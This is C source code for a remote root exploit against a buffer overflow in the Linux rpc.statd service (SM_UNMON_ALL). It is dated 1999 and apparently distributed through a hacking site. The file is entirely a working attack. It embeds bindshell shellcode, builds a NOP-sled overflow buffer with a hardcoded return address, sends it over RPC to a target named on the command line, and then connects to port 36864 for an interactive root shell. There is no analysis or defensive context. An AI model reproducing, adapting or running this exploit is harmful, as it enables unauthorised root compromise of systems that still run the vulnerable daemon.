/*
 *   -> PRIVATE. DO NOT USE. DO NOT DISTRIBUTE. <-
 *
 *  linstatex.c
 *  December 28, 1999
 *  Remote root overflow for linux rpc.statd SM_UNMON_ALL vulnerability.
 *
 *  statd-0.2.4.tar.gz from http://www.kr.kernel.org/pub/linux/daemons/statd/
 *
 *  
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <rpcsvc/sm_inter_xdr.c>
#include <rpcsvc/sm_inter_clnt.c>

#define PROG            100024
#define VERS            0x01
#define PROC            0x04           /* SM_UNMON_ALL */
#define BD_PORT         36864
#define ADDR            0xbffff104
#define RETPOS          989
#define MR_NAME         "elite"

char c0de[] =
"\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08"
"\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89"
"\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
"\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb"
"\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0"
"\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40"
"\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd"
"\x80\xe8\x64\xff\xff\xff";

u_long
resolve_host(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;
    
    addr.s_addr = inet_addr(host_name);
    if (addr.s_addr == -1)
    {
        host_ent = gethostbyname(host_name);
        if (!host_ent) return(0);
        memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }
    
    return(addr.s_addr);
}

void
reclamation(u_long dst_ip)
{
    struct sockaddr_in sin;
    u_char sock_buf[4096];
    fd_set fds;
    int sock;
    
    usleep(15000);
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == -1)
    {
        perror("socket allocation");
        exit(-1);
    }
    
    sin.sin_family = AF_INET;
    sin.sin_port   = htons(BD_PORT);
    sin.sin_addr.s_addr = dst_ip;
    
    if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
        perror("connecting to backdoor");
        close(sock);
        exit(-1);
    }
    
    fprintf(stderr, "owned\n");
    for (;;)
    {
        FD_ZERO(&fds);
        FD_SET(0, &fds);  /* STDIN_FILENO */
        FD_SET(sock, &fds);
        
        if (select(255, &fds, NULL, NULL, NULL) == -1)
        {
            perror("select");
            close(sock);
            exit(-1);
        }
        
        memset(sock_buf, 0, sizeof(sock_buf));
        
        if (FD_ISSET(sock, &fds))
        {
            if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1)
            {
                fprintf(stderr, "Connection closed by foreign host.\n");
                close(sock);
                exit(0);
            }
            
            fprintf(stderr, "%s", sock_buf);
        }
        
        if (FD_ISSET(0, &fds))
        {
            read(0, sock_buf, sizeof(sock_buf));
            write(sock, sock_buf, strlen(sock_buf));
        }
    }
    
    /* NOTREACHED */
}

static u_char *
overflow_buf(u_int offset)
{
    static u_char buf[4096];
    u_long addr    = ADDR + offset;
    u_int  retpos  = RETPOS;
    int i = 0, j = 0;
    
    memset(buf, 0x90, sizeof(buf));
    
    for (i = retpos - strlen(c0de); i < retpos; j++, i++)
    {
        buf[i] = c0de[j];
    }
    
    for (; i < retpos + 4; i += 4)
    {
        buf[i+0] = (addr & 0xff);
        buf[i+1] = (addr >> 8) & 0xff;
        buf[i+2] = (addr >> 16) & 0xff;
        buf[i+3] = (addr >> 24) & 0xff;
    }
    
    buf[i] = 0;
    memset(buf + i, 0, sizeof(buf) - i);
    
    return(buf);
}

void
exploit(u_long dst_ip, u_int offset)
{
    struct sockaddr_in sin;
    struct sm_stat_res stat_res;
    struct mon mon_req;
    struct timeval time_val;
    CLIENT *clnt;
    int sock = RPC_ANYSOCK;
    
    time_val.tv_usec  = 0;
    time_val.tv_sec   = 10;
    
    memset(&sin, 0, sizeof(struct sockaddr_in));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = dst_ip;
    
    clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
    if (!clnt)
    {
        fprintf(stderr, "err: clntudp_create(): is host running statd?\n");
        exit(-1);
    }
    
    memset(&mon_req, 0, sizeof(struct mon));
    mon_req.mon_id.my_id.my_prog  = PROG;
    mon_req.mon_id.my_id.my_vers  = VERS;
    mon_req.mon_id.my_id.my_proc  = PROC;
    mon_req.mon_id.my_id.my_name  = MR_NAME;
    mon_req.mon_id.mon_name       = overflow_buf(offset);
    mon_req.priv[0]               = '/';
    
    if (clnt_call(clnt, PROC, (xdrproc_t)xdr_mon, &mon_req.mon_id, 
                (xdrproc_t)xdr_sm_stat_res, &stat_res, time_val) 
                != RPC_SUCCESS)
    {
        usleep(10000);
        clnt_destroy(clnt);
        reclamation(dst_ip);
    }
    
    fprintf(stderr, "clnt_call() succeeded: is the daemon patched?\n");
    clnt_destroy(clnt);
    exit(0);
}

void
usage(u_char *nomenclature)
{
    fprintf(stderr, "usage:\t%s dst_host|ip [-o offset]\n", nomenclature);
    exit(0);
}

int
main(int argc, char **argv)
{
    struct in_addr iaddr;
    u_long dst_ip  = 0;
    u_int offset   = 0;
    char opt;
    
    fprintf(stderr, "linstatex.c -- Linux rpc.statd SM_UNMON_ALL remote root ov
erflow\n");
    if (argc < 2)
    {
        usage(argv[0]);
        /* NOTREACHED */
    }
    
    dst_ip = resolve_host(argv[1]);
    if (!dst_ip)
    {
        fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
        exit(-1);
    }
    
    while ((opt = getopt(argc, argv, "o:")) != EOF)
    {
        switch(opt)
        {
            case 'o':
                offset = (u_int)atoi(optarg);
                break;
            default:
                usage(argv[0]);
                /* NOTREACHED */
        }
    }
    
    iaddr.s_addr = dst_ip;
    fprintf(stderr, "Attacking target `%s`..\n", inet_ntoa(iaddr));
    exploit(dst_ip, offset);
    /* NOTREACHED */
}
/*                   www.hack.co.za   [28 September 2000]*/